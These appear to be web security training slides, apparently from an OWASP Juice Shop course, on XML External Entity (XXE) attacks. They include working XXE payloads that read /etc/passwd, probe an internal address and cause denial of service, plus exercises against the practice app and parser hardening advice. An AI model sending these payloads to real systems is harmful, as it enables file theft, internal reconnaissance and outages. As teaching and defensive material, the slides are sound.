

XXE

(XML External Entities)

XML Entities

- In the DTD you specify shortcuts as ENTITY...
 - `<!ENTITY author "Bjoern Kimminich">`
 - `<!ENTITY copyright "(C) 2018">`
- ...to later dereference them in the XML
 - `<author>&author; ©right;</author>`

External Entities

- DTD changed to use External Entities...
 - `<!ENTITY author SYSTEM "http://owasp-juice.shop/entities.dtd">`
 - `<!ENTITY copyright SYSTEM http://owasp-juice.shop/entities.dtd">`
- ...whereas the XML stays the same
 - `<author>&author; ©right;</author>`

Attack Vector XXE

- Many older or poorly configured XML processors evaluate external entity references within XML documents
- External entities can be abused for
 - disclosure of internal files
 - internal port scanning
 - remote code execution
 - denial of service attacks

Risk Rating

XML External Entities (XXE)

Exploitability	Prevalence	Detecability	Impact	Risk
◆ Average	◆ Common	● Easy	● Severe	A4
(2	+ 2	+ 3) / 3	* 3	= 7.0

XML with Attack Payloads

Extracting Data

```
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  <foo>&xxe;</foo>
```

Network Probing

```
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
  <foo>&xxe;</foo>
```

DoS Attack (against Linux-based Systems)

```
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///dev/random" >]>
  <foo>&xxe;</foo>
```

Exercise 5.1

1. Identify the weak point of the application that accepts arbitrary XML data as input (★ ★)
2. Retrieve the content of your local system's `C:\Windows\system.ini` (or `/etc/passwd` if you are using Linux) via an XEE attack (★ ★ ★)

Prevention

- **Configure XML parser to**
 - **disable DTDs completely** (by disallowing `DOCTYPE` declarations) 100
 - disable External Entities (only if allowing DTDs cannot be avoided)
- ✗ Selective validation or escaping of tainted data is **not** sufficient, as the whole XML document is crafted by the attacker!

XML Parser Hardening Examples

`libxml2` (C/C++)

- `XML_PARSE_NOENT` and `XML_PARSE_DTDLOAD` must **not be defined** in the Enum `xmlParserOption`.

i *Starting with release `2.9` entity expansion is disabled by default. Using any older version makes it more likely to have XXE problems if the configuration was not explicitly hardened.*

`org.dom4j.io.SAXReader` (Java)

```
saxReader.setFeature(  
    "http://apache.org/xml/features/disallow-doctype-decl", true);  
saxReader.setFeature(  
    "http://xml.org/sax/features/external-general-entities", false);  
saxReader.setFeature(  
    "http://xml.org/sax/features/external-parameter-entities", false);
```

`java.beans.XMLDecoder` (Java)

- The `readObject()` method in this class is fundamentally unsafe
- It is vulnerable against XXE as well as arbitrary code execution
- There is no way to make use of this class safe

⚠ *Most Java XML parsers have insecure parser settings by default!*

Exercise 5.2

1. Perform a Denial of Service Attack using XXE (★★★★★)

i *Keeping the server busy with XML parsing for 2 seconds qualifies as DoS for this exercise. The Juice Shop will cancel any successful DoS-like attacks after 2 seconds automatically.*